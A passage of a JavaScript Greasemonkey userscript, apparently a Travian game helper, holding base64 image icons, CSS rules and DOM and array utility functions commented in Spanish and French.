'data:image/gif;base64,R0lGODlhEAAQAOZ/APT09Lq6ut7e3uKdOP39/bCwsOPj46WlpY+Pj7W1tfv7+8zMzKuGUfb29s/Pz+G6gb29vbmrlpOTk5SUlKmpqZ2dne/v76enp/7+/qiDTuzs7Orj19ra2ubm5s3Nzbi4uNLBqLGxsaGhodTBp9/f37KyspSBZLixp6x4Lefn57OISvDw8KOjo/j4+KaZhqWKYqRvJLe3t3R0dLN/NpiYmMSXU6x2Jf/QiLutl7V5JMTCv/+8WZaWltrSx+3t7c2LKunm4tPT06V4NsOHMczO0deQKtm4h9+gRrOEP/P2+vv49J99Sr+cae3r6MWAHKurq9CXQ8nJyYWFhaKkpf/Je+XayuTo7eDe3eXn6qNzL4V0XNeiVGlRL8Sxle3s6+zZvPbbtaSgmvT086yqqYeIiYFTEuCjS+inSbCys5dvNdXV1drVz4KCgq2mnejo6Ovr68zMzdyPIM25nbqwo5GRke2uUff39vf39/Ly8reRWo2NjYCAgLm5udHR0aioqP///yH5BAEAAH8ALAAAAAAQABAAAAfHgA4hIgl/hoeGAhUUMVILBAt8iIYWFAQaNAJ7QQAeHIgrHw0dEwd/BnpRdx8ChyUAAiwBh24yagoBHngIFik8E5MObBwtCRA+GgWmk399BwINdG8QfhjMhgESJB0IEteHT8oGChXMQEZdcERJZFNYVmgnDz2GG0hZKmAjYToRXw8wZoBAhOPGmR9LGNgYQIWJGERjUAyRo4RLmSob0hTRAsDQnBxO2hiy48XQFSFxTDR5AWVHBmvMXAyowyCDmS0Rvq3Jc6RGIAA7';\n\t//gradient\n\timagenes[\"c2\"] = 'data:image/gif;base64,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';\n\t//ok button\n\timagenes[\"ok1\"] = 'data:image/gif;base64,R0lGODlhMgAUAMQfANHzpLbEoPb/5NH9eo7eLe390tb8iOb+t/L+2979oNv9lLPqa6HkScPwg+j8w9z4se39zKnmWrTwU6nrRr/1X878csf5ap7mOZPhLIrdIYLaGHHQAH/YFMDAwND9dP///yH5BAEAAB8ALAAAAAAyABQAAAX/4Pd1ZGmeaKqunTgGXizP9GDb8Z3jdB8HrQ7M5zMojkeDMblUGAZEGrATrRkSh2w2gd12DwkFtBojkXPXQ0HARjjUAjfcnRiTzef0esPfICACfAV7Gw51Zx54VQMKcHwQCHwIgX6Ub2KIilGMB5QQB4B8lJ5gBoiJHRWqq6yqnJZZo32SYAOtt6skFru8vbyNkYVYwcGzhgO+ybwkFM3Oz84GD8EOD9OSj9QAA9DdziQS4eLj4g0ABYIPDpTU6BsFDw0U5PThJBP4+fr5FOYQkpbcWRPYQMK+g/hIXFjIsCFDBgvMOZj1AMDEDQAs8gHQgIHDjwtJYBhJsmTJCxEWVmRc2UBlxpYsI1wwSXMkiQw4c+rcSQDigp8LIjBIGXToT487k+YkoaGp06dQmxKYOhUnVatVo2ptSiIAh69gw4odS7asWQ5AXpxdy3ZtWhEs4sqdKyIEADs=';\n\t// Travian: Battle Analyse\n\timagenes[\"imgpack\"] = \"data:image/gif;base64,R0lGODlhEAAQAOYAAAAAAP////z6/Pz+/Pz+9Pz65Pz67Pz21PTu1Pz23OzGROTSlPzqrPzuvOzivPzyzOzCROS6RNy2TNSyVPzafNS6dOTKhPzilPzinPzmpNzKlOzapPzqtPTmvPzuxPTqzPzy1PTu3Pz25PS+POS2POy+ROS2RNSqRNSuTNy2VPzWdNy+dOTGfOzOhPTWjPzelOzSlOTOlOzWnPzmrPzqvOzevPzuzOy2PPS+ROSyRPzGTOy6TPTCVNyyVNSuVPTKbOS+bNy6bPTOfPzajOzOjPTWlPTerPzmtPTq1OSqNPzCTOy2TNyuVNSqVPTOhOTCfOzKhPTSjPzalNzCjPzirOzatOSqPMyaPNSmVNyyZNy2dOzGhNy6fPTOjOzKjPzanOzWrOzexMyOLMSKLNyeNMySNMyWPOSuVNSmXOS2bNy6hOzavPzqzPz27MyONNSiVOzChOTKpNSiXPzy5MyORMySTOSydNSWVP///wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAHgALAAAAAAQABAAAAfqgHiCggMhFk8gA4OLggYbKTIWPgttjHgEDkAxIiJGMys+YAKDHywsCAQENEwuVEVZEx14MBIbSDUaUxVBUkJfVFBYXBMFbDAtQD1mHwc0LypUQ2UpBSBHTkJCZ1QcGCo4JC5mKSIgIDRDP0tDQzo3JTtEZj0iBw82HFI8SiMKJSY5vLhBUe5BAw4zKChQEIGEFStbxJwokMADBwZULvjLkYRMGjhjVnDpkKBBBgwvIHA8s8VOnTd4qjR5YuMBgwsRcnSBc6dOnEFt4lx58sBDFCJyxqiZYwkEFzFEtNDJgsTSojBo5KxRtCgQADs=\";\n\timagenes[\"imgpackgo\"] = \"data:image/gif;base64,R0lGODlhEAAQAOYAAAAAAP///xx6BESSLEyWNFyiRJTChDSGFJzGjCx+BFyePESOHGSiRDyKDESSFDyGDIS2ZJzChKTKjEySHFSaJHSqTIy6bKTGjKzOlFyaLGSeNHyuVKzKlISyXGSeLGyiNHSmPLTOlPz+9Pz65Pz21PTu1Pz23PTmtPzuvPzyzNy2TNSyVNy+ZPzehNS6dOTKhPzinPzmpNzKlOzapPzqtPTmvPzuxPzy1Pz25PS+POy+TNSqRNSuTNy2VPzWdNy+dOTGfOzOhPTWjPzelOzSlOzWnPzqvOzevPzuzOSyROy6TPTCVNyyVNSuVPTKbOS+bPzWfNy6bPTOfPzajOzOjPTWlPTerPzmtPTq1OSyTNyuVNSqVPTOhOTCfOzKhPzalNzCjOTKlPzirMyaPNSmVNyyZNy2dOzGhNy6fPzanOzWrOzexMyOLMSKLMySNMyWPNSmXOzavPzqzNSiXMyORP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAHUALAAAAAAQABAAAAffgHWCg3UvXTeEiYJFPUUvTUSKgyxEODhWJz8raolAQCUiIkhaUGJVZWWCRCozWEcyYC5RVVJpYl5kaCsjckRBT0xuSCZGQz4xLW49IzdXXFJSWWI0MD45SUJvPTg3N0ZTTllTUyAaOkpUbkw4JClIRl9LSzkfGxlZXm483CkoNCAfPnjYgKGCgzNsdowwYcNIjA8hMHDgYEECgwNtfqCpwTCGBgwWLEDoACGCggSCtnRBkiKDBAkXEEAwwGABoTBjulCY4KCBApoDJKFhQ8UMnQcFCEgStAbOnDgHBBAKBAA7\";\n\timagenes[\"imgcopy\"] = \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAHMAaQBai4lpJQAAAAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU1FB9ALFw00KOKzIOYAAAF8SURBVHiclZGxjtNAFEWP40UpE4oUKf0HLtLRsGMKFJbGNPGHQLTaBimSRZfPmPQIZavkF7ZyRZEGLU2Q0IR1PGNnKCI7BDsWjDTS09y5590340wmE8uFtVgsnLK21r5sunMFEMdxTZjP5wgh7Gq1cmri3wAAz/POBNd1uf/ymddv3rZCOm30D7d3AAghLo551XSoU8Wnj+/5/mPP1+SBVzfviKJoXepSyuuLCXSqsFqRZ088f/YTu38EIAxD4jhmMBgQBMG6EfCnudCKQ7bD0QqA4XCI53m4rstyuawgnTZzoVOcPKuNOJ1OAQiCYF29QZO50AoO+pRQa2azGdvtliRJGI/HpwRN5iJL6dhjAmMMWmu01nS7XZRSp1943CR8M0/Y/Bc2SyHfccj3kO2w+TFBnucVoNwV4IW4afrNavm+f5bAGENRFEeAlPJaSlkzRVG0DsOQfr+PMaZKUIIqQFvn0WhEr9c761zW/wTYbDY1838lEEK0yfi+z29BFRgySKHeAQAAAABJRU5ErkJggg==\";\n\timagenes[\"imgpaste\"] = \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAHMAaQBai4lpJQAAAAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU1FB9ALFw00HbQA5MUAAAHMSURBVHichZM9aFNRFMd/j/e6FyoFJ0mqiy7ZTQikAUGlgzgp3US6ZBE6KA6ObumcwS0OLhFBgkQcSkimQsmHWQRFYjEggqZ5ybsf7zg076WxaXrgcOHe8//d83GvwwLbSKzK1u0kl9c0h602r9/iLIoD8ADS6bSc3tzZXuHh40+0D/ZIJNvAK/n+Kz0nrNfrDoCXyWSkXC6jlALgTWmTe9sfaR/sMRj8IAi+cuPqJaDOzpN9rLVYaykUCtLr9RxPRFBK0Wg0sNYC8OjBNQD+jK5P71sH1qnVamitMcbEsV6UUkRe23jGzSuGSqVypt5mswlAMpkkDMMZIAgCjDGEYYi1Nj4slUpnIMVikW63y2QymQGUUjEggkSWSCTmAK7r8uH9O27d2aLf788AWmtEJIYss92nzwHI5XLiiUhcwkUANR7y8sUug99jvnw+ZPPufeIpXARQ4yGihthgxOrKMUyOTnoQAbTWAAsBp8VGHSNqiBMMZ008XULky8Q2GOOImmUAnAtYJA7VXxwzHaPv+1SrVTzv5E39D1gkDgMfogxarZbT6XTmPpPrumSzWX5+63KkfcSMQE1X7SN6BEadO2YA8vm8AEs9lUrJP7/afV7h9kN4AAAAAElFTkSuQmCC\";\n\timagenes[\"imgatti\"] = \"data:image/gif;base64,R0lGODlhEAAQAOYAAJoxM5EqLocoK8BKTre6vsnKy6mqq/T58nu0X1qNQOTv3srivFN8OU1zNVuGPnGiUFqAQXqnXJG9c4yyc4Kla+rz5FqEPVF3N0xuNGqYSoKtZIWvaIClZoivbZnAfpq9gcfcuNnozsXatevv4vH06vj49KGhoJ2dnNjUwevj1uamSNKeUuKrW7+RT7SKTeizZLOMVKOCUamPaa2VcsashtnBnamXfMSxlsOJN7KEQ+fWv9HLw7Kro/Ls5qmop7KNeqRuX71vZrJVTqlSTbtMTOrq6unp6eXl5ePj4+Li4t3d3dra2tjY2NbW1tDQ0M7OzsrKysnJycjIyMbGxsXFxcPDw729vbu7u7m5ubi4uLa2trW1tbOzs66urqurq6mpqaWlpaOjo6KiopOTk////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGQALAAAAAAQABAAAAengFlWWmSFhlJXXIZkYFFFUYtNSklii2RdVUdPhV1JS16WhSZTSFBPVEhjoYZfS0xYRlsFq4ZhTU4ntIsEBig/QENBJZY1MDcpPkICAgBEI6EzLywxQQECAQM9ljw5LTo2CwkNCQgVizIrODuFFRkYDhoKiy4qNIsRDRYRILqFGvkZJIgwR2sDAwYWHnjoMEFeqA8NIFi4kGHDBA2rQnCgQILMgQOFAgEAOw==\";\n\timagenes[\"imgattc\"] = \"data:image/gif;base64,R0lGODlhEAAQAPcAAAEBAxEYIyktMxIXHictNMnKy1x4kig8TVd4k0JYajFRaUlrhhklLVZnc0ZleElpfGB+j4eXoExTV0VldV15hxsjJ1R4iEdhbU1pdnCLmHCDjCs7Qp+ts0hfZ05ueU1nb0lhaVRud5Oip0pqc5qxuG58gE5VV2tydExnbmJ9hBEVFm+Ch7jEx7C4ulVkZ3+Tl3uFh7m+v77O0Wdtbougo5yqrIqcnrPDxYiQkY6YmbC7vK+6uyswMMvY2MDMzL/Ly3B3d2BmZj9DQz5CQi0wMM7a2s3Z2cPPz73IyLvGxrG8vJukpFNYWMTPz5CYmI6Wlo2VlX6FhX2EhGhublleXs7Z2Tw/Pzs+PikrK52kpJGXlx0eHr/Fxc7a2aawr6avrnN6eW1ycYKHhl9nZTw/PlxhXVNYU4mNiaGhoOamSNKeUr+RT7SKTeizZLOMVKmPaa2VcsashtnBncSxlsOJN7KEQ9HLw7KrowMCAerq6unp6eXl5ePj4+Li4t3d3dra2tjY2NbW1s7OzsrKysnJycjIyMbGxsXFxcPDw729vbu7u7m5ubi4uLa2trW1tbOzs66urqurq6mpqaWlpaOjo6KiopOTkwAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAJgALAAAAAAQABAAAAjfABklaoSpoMFCih4ZxDSJUB5CCwP56VNpISZIiPYIKgipz59IFguiMcRnkKBDfCyFNCjpD6BFehwVKBhBRkhKMVqcMFNmTIASJkJymSEAwIADChoQSGBQjps5O0JsYLDAAAISLDgshNPmUgUMDoqIOfPCSxaDd+qswWNhgoYuVHT8IAPmCKY3aujYUfGAQpMvQYoUyQEDCSY2aeJg8jDiRhEfVnAUyQAhjMUPKXpUgSJkiAQQF7TYNYiCRhEjW6Jg4uFiBZMlCzuIEGyloBMiWIBIWWijhuArBpNMeaIkIAA7\";\n\t}\n\n var cssStyle = \"#resumen {position: relative; width:900px;}\";\n\tcssStyle += \"#tabla_mapa {position: relative; width:900px; margin-top: 16px;}\";\n\tcssStyle += \".bttable {width:100%; height:129px;}\";\n\tcssStyle += \".dcol {color:#A0A0A0;}\";\n\t// BBcodeHelper's style rule\n\tcssStyle += '.bbchelp {height:18px; background-color:#ddd; color:#a55; font-weight:600; font-size:11px; font-family:\"Lucida Grande\",Verdana,Helvetica,sans-serif; text-align:center; margin:1px 2px;}';\n\t// NPC Helper's style rules by gp\n\tcssStyle += '.gp-container { margin: 3px 0 0; font-size: 10px }';\n\tcssStyle += '.gp-red { color: #dd0000 }';\n\tcssStyle += '.gp-green { color: #009900 }';\n\tcssStyle += '.gp-highlight { background-color: #ffffcc }';\n\t//center numbers by ms99, Nux\n\tcssStyle += \".CNbuildingtags{background-color:\" + CN_COLOR_NEUTRAL + \"; border:thin solid #000000; -moz-border-radius: 2em; padding-top: 2px; font-family: Arial,Helvetica,Verdana,sans-serif; font-size:10pt; font-weight:bold; color:\" + CN_COLOR_TEXT + \"; text-align:center; position:absolute; width:21px; height:18px; cursor:pointer; visibility:hidden; z-index:26;}\";\n\tcssStyle += \"#resDiv{position:absolute; top:70px; left:12px; z-index:20;}\";\n\tGM_addStyle(cssStyle);\n\n\tvar XPFirst = XPathResult.FIRST_ORDERED_NODE_TYPE; // Constante que devuelve el primer elemento por XPath\n\tvar XPList = XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE; // Constante que devuelve una lista de elementos por XPath\n\tvar XPListO = XPathResult.ORDERED_NODE_SNAPSHOT_TYPE;\n\tvar XPIter = XPathResult.UNORDERED_NODE_ITERATOR_TYPE; // Constante que deuvelve un iterador de elementos por XPath\n\n\t/** Fonction qui ne fait absolument rien. Utilisé lorsqu'il n'ya pas d'autre choix que d'utiliser une fonction */\n\tfunction dummy()\n\t{\n\t}\n\n\tfunction basename(path)\n\t{\n\t\treturn path.replace(/.*\\//, \"\");\n\t}\n\n\tfunction getRandTimeRange(maxrange)\n\t{ // input in milliseconds output in milliseconds\n\t\tvar nr = Math.floor(maxrange * (0.6 + 0.4 * Math.random()));\n\t\treturn nr;\n\t}\n\n\tfunction getInnerText(who)\n\t{\n\t\treturn (who.textContent ? who.textContent : who.innerHTML);\n\t}\n\t/** Fonction qui permet de convertir un nombre en sa version 2 chiffres. Créer \"0\" si vous avez seulement un chiffre\n\t *\n\t * Params:\n\t *\tn\tNumero a convertir\n\t *\n\t * Returns:\n\t * \tEl numero convertido con al menos dos digitos\n\t */\n\tfunction LZ(n)\n\t{\n\t\treturn (n > 9 ? n : '0' + n);\n\t}\n\n\t/** Wrapper para la funcion getElementById\n\t *\n\t * Params:\n\t *\tid\tTexto del ID del elemento a buscar\n\t *\n\t * Returns:\n\t * \tElemento del documento con el ID especificado\n\t */\n\tfunction get(id, doc)\n\t{\n\t\tif(!doc)\n\t\t\tvar doc = document;\n\t\treturn doc.getElementById(id);\n\t}\n\n\t/** Multiplier chaque élément d'un tableau avec une valeur\n\t *\n\t * Params:\n\t *\ta\tArray con los elementos a procesar\n\t *\tn\tValor numero por el que multiplicar el array\n\t *\n\t * Returns:\n\t *\tNuevo array con los valores calculados\n\t */\n\tfunction arrayByN(a, n)\n\t{\n\t\tvar b = arrayClone(a);\n\t\tfor (var i in b)\n\t\t{\n\t\t\tb[i] *= n;\n\t\t}\n\t\treturn b;\n\t}\n\n\t/**Faire une copie d'une valeur tableau\n\t *\n\t * Params:\n\t *\ta\tArray a copiar\n\t *\n\t * Returns:\n\t *\tReferencia a un nuevo array con el mismo contenido que el original\n\t */\n\tfunction arrayClone(a)\n\t{\n\t\tvar b = new Array();\n\t\tfor (var i in a)\n\t\t{\n\t\t\tb[i] = a[i];\n\t\t}\n\t\treturn b;\n\t}\n\n\t/** Ajoute le contenu de deux tableaux. Si l'un des deux n'a pas de valeur, il renvoie une copie d'un autre\n\t *\n\t * Params:\n\t *\ta\tPrimer array sumando\n\t *\tb\tSegundo array sumando\n\t *\n\t * Returns:\n\t *\tReferencia a un nuevo array con la suma\n\t */\n\tfunction arrayAdd(a, b)\n\t{\n\t\tif (!a)\n\t\t{\n\t\t\treturn arrayClone(b);\n\t\t}\n\t\tif (!b)\n\t\t{\n\t\t\treturn arrayClone(a);\n\t\t}\n\t\tvar c = new Array();\n\t\tfor (var i = 0; i < Math.max(a.length, b.length); c[i] = a[i] + b[i++])\n\t\t\t;\n\t\treturn c;\n\t}\n\n\t/** Vérifiez si une valeur est présente dans un tableau\n\t *\n\t * Params:\n\t *\tarray\tArray a comprobar\n\t *\tvalue\tValor a buscar en el array\n\t *\n\t * Returns:\n\t *\ttrue si el valor esta en el array, false en caso contrario\n\t */\n\tfunction arrayValueExist(array, value)\n\t{\n\t\tfor (var i = 0; i < array.length; i++)\n\t\t\tif (array[i] == value)\n\t\t\t\treturn true;\n\t\treturn false;\n\t}\n\n\t/** Supprime un élément\n\t *\n\t * Param:\n\t *\telem\tEl elemento a eliminar\n\t */\n\tfunction removeElement(elem)\n\t{\n\t\tif (elem)\n\t\t{\n\t\t\telem = (typeof (elem) == 'string') ? get(elem) : elem;\n\t\t\telem.parentNode.removeChild(elem)\n\t\t}\n\t}\n\n\n\tfunction dispatchOnChange(elem)\n\t{\n\t\telem = (typeof (elem) == 'string') ? get(elem) : elem;\n\t\tvar evObj = document.createEvent('HTMLEvents');\n\t\tevObj.initEvent( 'change', true, false );\n\t\telem.dispatchEvent(evObj);\n\t}\n\n\tfunction dispatchClick(elem)\n\t{\n\t\telem = (typeof (elem) == 'string') ? get(elem) : elem;\n\t\tvar evObj = document.createEvent('MouseEvents');\n\t\tevObj.initEvent( 'click', true, false );\n\t\telem.dispatchEvent(evObj);\n\t}\n\n\n\t/** Convertit certaines entités de HTML en sont équivalent ASCII\n\t *\n\t * Params:\n\t *\tstring: Cadena a convertir\n\t *\n\t * Returns:\n\t *\tCadena convertida\n\t */\n\tfunction decodeEntity(string)\n\t{\n\t\treturn string.replace(/&lt;/g, \"<\").replace(/&gt;/g, \">\").replace(/&apos;/g, \"'\").replace(/&quot;/g, \"\\\"\").replace(/&amp;/g, \"&\");\n\t}\n\n\t/** Déplacer un élément de place dans un arbre DOM\n\t *\n\t * Params:\n\t *\telem: Elemento a desplazar\n\t *\tdest: Nuevo padre del elemento\n\t */\n\tfunction moveElement(elem, dest)\n\t{\n\t\tremoveElement(elem);\n\t\tdest.appendChild(elem);\n\t}\n\n\t/** Somme de toutes les valeurs d'un tableau\n\t *\n\t * Params:\n\t *\ta\tArray a sumar\n\t *\n\t * Returns:\n\t *\tValor con la suma de todos los elementos del array\n\t */\n\tfunction arrayToInt(a)\n\t{\n\t\tvar h = 0;\n\t\tfor (var i in a)\n\t\t{\n\t\t\th += a[i];\n\t\t}\n\t\treturn h;\n\t}\n\n\t/** Insérer un nœud après l'autre\n\t *\n\t * Params:\n\t *\tnode\t\tNodo de referencia\n\t *\treferenceNode\tNodo a insertar\n\t */\n\tfunction insertAfter(node, referenceNode)\n\t{\n\t\tnode.parentNode.insertBefore(referenceNode, node.nextSibling);\n\t}\n\n\tfunction $names(name)\n\t{\n\t\treturn document.getElementsByName(name);\n\t}\n\n\tfunction $tags(tag, doc)\n\t{\n\t\tif(!doc)\n\t\t\tvar doc = document;\n\t\treturn 